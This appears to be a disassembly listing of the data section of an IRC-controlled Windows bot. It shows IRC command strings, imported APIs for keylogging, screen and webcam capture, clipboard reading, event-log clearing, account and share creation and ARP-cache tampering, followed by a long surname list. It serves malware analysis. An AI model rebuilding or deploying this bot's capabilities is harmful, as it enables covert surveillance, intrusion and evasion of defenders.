aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Fo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177D0:loc_417838o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177D0+50o
		align 10h
asc_42D120:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DAEo
		unicode	0, <!>,0
asc_42D124:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Do ...
		unicode	0, < >,0
asc_42D128	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402602o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B13:loc_40A77Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B13+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B13+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B13+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B13+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B13+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B13:loc_40A6DFo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B13+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B13+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B13+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B13:loc_40A5D7o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B13:loc_40A58Do
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
					; sub_4185A5+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B13+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B13+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B13+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B13+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B13+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B13+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B13+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B13:loc_40A471o
					; sub_4185A5+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B13+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B13+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B13+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B13:loc_40A412o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B13+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B13+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B13+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B13+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B13+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B13+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B13+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B13+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B13+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B13+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B13+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B13+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B13+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B13+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B13+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B13+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B13+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B13+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B13+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B13+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B13+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B13+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B13+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B13+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B13+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B13+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B13+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B13+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B13+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B13+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B13+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B13+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B13+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B13+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B13+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B13+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B13+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B13+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B13:loc_409F40o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B13:loc_409F18o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B13+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B13+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B13+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B13+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B13:loc_409E6Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B13+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B13+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B13+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B13+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B13+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B13:loc_409D72o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B13+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B13+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B13+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B13+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B13+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B13+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B13+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B13+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B13+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B13:loc_409C48o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B13+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B13+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B13+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B13+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B13+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B13+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B13+Ao
		align 4
unk_42DA28	db  2Dh	; -		; DATA XREF: sub_40A7CF+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
		align 4
a_:					; DATA XREF: sub_40F96B+252o
		unicode	0, <.>,0
unk_42DBB8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBE8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABBFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DC18	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40AB8Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42DC3C	db  2Dh	; -		; DATA XREF: sub_40AB32+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC10+46o
					; sub_40BFEC+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC84	dd 0			; DATA XREF: sub_40B08E+7o
off_42DC88	dd offset sub_40ACB6	; DATA XREF: sub_40B08E+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD23h, 7474656Ch, 7265h, 0
		dd 2, 40AD81h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCEh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Ch, 736Fh, 2	dup(0)
		dd 5, 40AEE1h
off_42DCF0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB6+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCFC	dd offset aAddison	; DATA XREF: sub_40B08E+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
